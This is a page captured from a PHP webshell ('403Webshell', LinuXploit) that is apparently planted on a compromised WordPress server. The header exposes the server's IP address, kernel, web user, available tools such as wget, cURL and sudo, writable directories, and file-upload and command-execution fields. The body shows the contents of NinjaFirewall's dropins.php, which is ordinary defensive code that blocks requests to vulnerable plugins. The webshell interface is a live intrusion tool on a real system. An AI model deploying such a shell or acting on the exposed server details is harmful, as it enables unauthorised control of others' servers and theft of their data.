403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.232
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/kim_LIVE/wp-content/nfwlog/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kim_LIVE/wp-content/nfwlog/dropins.php
<?php // NinjaFirewall's dropins.php ~ Do not delete this file!
 if (! defined( 'NFW_ENGINE_VERSION' ) ) { die( 'Forbidden' ); } if (defined('WP_CLI') && WP_CLI ) { return; } if (! is_super_admin() ) { if ( isset( $_REQUEST['action'] ) ) { $nfw_act_hash = sha1( $_REQUEST['action'] ); if ( $nfw_act_hash == 'ef3c9c3e067c025f6e539f568936aa567b223b67' && ! current_user_can( 'unfiltered_html' ) ) { if ( preg_match('/vc_raw_(?:html|js)|custom_onclick_code/', $_POST['content'] ) ) { nfw_dropin_block( "REQUEST:action = {$_REQUEST['action']}", 3, 1601 ); } } elseif ( $nfw_act_hash == '705df8160caaf4780afcfe4766fc79a2bb2913cf' && isset( $_POST['id'] ) ) { if ( nfw_dropin_can_edit_post( $_POST['id'] ) == true ) { return; } nfw_dropin_block( "REQUEST:action = {$_REQUEST['action']}", 3, 1611 ); } elseif ( $nfw_act_hash == '1971efe76e79111e707b9ce423755d835493f2a6' ) { nfw_dropin_block( "REQUEST:action = {$_REQUEST['action']}", 3, 1612 ); } elseif ( $nfw_act_hash == 'cbc27dd814f7e063c409a23d4f2a064f86c7f529' ) { nfw_dropin_block( "REQUEST:action = {$_REQUEST['action']}", 3, 1613 ); } elseif ( $nfw_act_hash == '4cc05bebd6ff9badaf8f848643e94d843d7b4753' ) { if (! empty( $_POST['user_id'] ) && $_POST['user_id'] == get_current_user_id() ) { return; } nfw_dropin_block( "REQUEST:action = {$_REQUEST['action']}", 3, 1614 ); } elseif ( $nfw_act_hash == 'c9a7fe6b86319c989098ee9081e8ede929d1dd01' ) { nfw_dropin_block( "REQUEST:action = {$_REQUEST['action']}", 3, 1615 ); } elseif ( in_array( $nfw_act_hash, array( '2e591ffb0ab8b4a7cce955434311cb47e2f6b8fb', 'dd96cdbc5969db0ce6318f3fa616a98b3eca9ded' ) ) ) { nfw_dropin_block( "REQUEST:action = {$_REQUEST['action']}", 3, 1616 ); } elseif ( in_array( $nfw_act_hash, array( '1f4c109f7908c2071250c77c12b9a52a34f2e50e', '4cc30b6a45d1c551af23460af27d5294cef2ac4d', '7579fd7692c78c007fc73caf04b28a3d80e55658', '65547c3528772f6f5a57c197bf4ce896ec8bcb9a', 'b07a208381e3e697f9d88b08e1fc2577f2820354' ) ) ) { if (! isset( $_REQUEST['file_id'] ) || nfw_dropin_can_edit_post( $_REQUEST['file_id'] ) == false ) { nfw_dropin_block( "REQUEST:action = {$_REQUEST['action']}", 3, 1617 ); } } elseif ( $nfw_act_hash == 'f6d125f4e6675177fcbec29917f2dea8ace619b9' ) { $file_ext = pathinfo($_REQUEST['output']['imports'][0], PATHINFO_EXTENSION); if (!in_array($file_ext, array('less', 'css'))) { nfw_dropin_block( "REQUEST:action = {$_REQUEST['action']}", 3, 1618 ); } } elseif ( in_array( $nfw_act_hash, array( 'c624721f01abd07ba2f23b7ad1354dac2ccbc79b', '517c946d6c1fc82c1b9c0c7031ef808d44c10105', '1cc1ec2a79e7048243dea88b63f5ca6fe48a25fb', '3822557d438a7d2ed33f291d1fff0ea4ad361082', 'ac1c1dba453b82d419f1cf5594167b070f2979e5', 'e2e82b67dd8f173c1323cb99387589c283b50a16', 'ba4a6c8a523b07dcd8ef6cbf70bdafdb27f74fef', '13756ee6e67ce9df76d4db663ac7e2936bfc2885', '1bf9360c52e636980b90064be9a149c01164e853', 'edb7480cc53c68c1d267c8a8a3b2c4b4ba0a9800', '2cff039018bff37b9a830c65b326a7e4b81f0795', 'dfd1387df8abfddb6f5089ad2ba06aa74e192a2c' ) ) && ! current_user_can('publish_posts') ) { nfw_dropin_block( "REQUEST:action = {$_REQUEST['action']}", 3, 1619); } elseif ( in_array( $nfw_act_hash, array( 'e7cdca43dc5bc5cb602ca628b0b2f3937f168ffe', 'c90e240ff00b174b7912e1aa1a37cbbf603881d1', '28416c70a237268eb50e96323f2bba398be2920b', 'a6ab2f1f866f796c98c5adf9ec76638112a7bae6', 'f025f20bf79fc7ee1e8e8624877a4645444dbd7b', 'caecbb353faf520427366dadf0d8955a88d0b1e5', '30fb18f2df417e9e02fbc193888f51c04203f98c', '281d3661fc91c8052a29c5fe96b2978d7af574ff' ) ) ) { nfw_dropin_block( "REQUEST:action = {$_REQUEST['action']}", 3, 1622); } elseif ( in_array( $nfw_act_hash, array( 'ed0290de99972048cd8f70384c9042466176534a', '2086a9aa50cda53b1510cc7f0de55de4a5ca0c29' ) ) ) { nfw_dropin_block( "REQUEST:action = {$_REQUEST['action']}", 3, 1623); } elseif ( in_array( $nfw_act_hash, array( 'e0e4089a3e2a49463907e6e3b896bbd8f68b01cb', '205d3c42a8ac01d53416d6dea0af62b225262428' ) ) ) { nfw_dropin_block( "REQUEST:action = {$_REQUEST['action']}", 3, 1624); } elseif ( $nfw_act_hash == 'c70d6d03839a95ef3a3acc088c67a69a0fce6aa3' ) { if ( isset( $_POST['membershipid'] ) && nfw_dropin_can_delete_post( $_POST['membershipid'] ) == false ) { nfw_dropin_block( "REQUEST:action = {$_REQUEST['action']}", 3, 1626 ); } } elseif ( $nfw_act_hash == '1090835a56ce389cedc3ef268ebcb45c59d6dba9' ) { nfw_dropin_block( "REQUEST:action = {$_REQUEST['action']}", 3, 1627 ); } } if ( isset( $_SERVER['REQUEST_METHOD'] ) && $_SERVER['REQUEST_METHOD'] == 'POST' ) { if ( preg_match( '`1/api/ulisting-user/(?:deletelisting|draft_or_delete)`i', @urldecode( $_SERVER['REQUEST_URI'] ) ) ) { $rb = file_get_contents('php://input'); if ( $rb = json_decode($rb, true) ) { if (! empty( $rb['user_id'] ) && $rb['user_id'] == get_current_user_id() ) { if ( nfw_dropin_can_edit_post( $rb['listing_id'] ) == true ) { return; } } } nfw_dropin_block( "REQUEST_URI = {$_SERVER['REQUEST_URI']}", 3, 1603 ); } } } if ( ( isset( $_SERVER['REQUEST_URI'] ) && stripos( $_SERVER['REQUEST_URI'], '/wc/store/products/collection-data' ) !== FALSE ) || ( isset( $_REQUEST['rest_route'] ) && stripos( $_REQUEST['rest_route'], '/wc/store/products/collection-data' ) !== FALSE ) ) { if ( nfw_dropin_isvulnplugin( 'woocommerce/woocommerce.php', '5.5.1' ) === true || nfw_dropin_isvulnplugin( 'woo-gutenberg-products-block/woocommerce-gutenberg-products-block.php', '5.5.1' ) === true ) { nfw_dropin_block( "REQUEST_URI = {$_SERVER['REQUEST_URI']}", 3, 1604 ); } } if ( isset( $_GET['wcj_user_id'] ) && file_exists( WP_PLUGIN_DIR .'/woocommerce-jetpack/woocommerce-jetpack.php' ) ) { if ( nfw_dropin_isvulnplugin( 'woocommerce-jetpack/woocommerce-jetpack.php', '5.4.4' ) === true ) { nfw_dropin_block( "GET:wcj_user_id = {$_GET['wcj_user_id']}", 3, 1605 ); } } if ( file_exists( WP_PLUGIN_DIR .'/wpcargo/includes/barcode.php' ) ) { if ( filesize( WP_PLUGIN_DIR .'/wpcargo/includes/barcode.php' ) > 1 ) { rename( WP_PLUGIN_DIR .'/wpcargo/includes/barcode.php', WP_PLUGIN_DIR .'/wpcargo/includes/barcode.php_VULNERABLE' ); touch( WP_PLUGIN_DIR .'/wpcargo/includes/barcode.php' ); } } if ( is_dir( WP_PLUGIN_DIR .'/easy-wp-smtp') ) { if (! file_exists( WP_PLUGIN_DIR .'/easy-wp-smtp/index.html' ) && is_writable( WP_PLUGIN_DIR .'/easy-wp-smtp' ) ) { touch( WP_PLUGIN_DIR .'/easy-wp-smtp/index.html' ); } } function nfw_dropin_block( $message, $level, $rule ) { nfw_log2('WP vulnerability', $message, $level, $rule); exit("Error: please contact the administrator."); } function nfw_dropin_can_edit_post( $postid ) { $type = get_post_type( (int) $postid ); if ( ( $type == 'page' || $type == 'post' ) && ! current_user_can( "edit_{$type}", $postid ) ) { return false; } return true; } function nfw_dropin_can_delete_post( $postid ) { $type = get_post_type( (int) $postid ); if ( ( $type == 'page' || $type == 'post' ) && ! current_user_can( "delete_{$type}", $postid ) ) { return false; } return true; } function nfw_dropin_isvulnplugin( $slug, $version ) { if ( file_exists( WP_PLUGIN_DIR ."/$slug") ) { if (! function_exists('get_plugin_data') ) { require_once( ABSPATH .'wp-admin/includes/plugin.php'); } $info = get_plugin_data( WP_PLUGIN_DIR ."/$slug"); if (version_compare( $info['Version'], $version, '<') ) { return true; } } return false; } 

Youez - 2016 - github.com/yon3zu
LinuXploit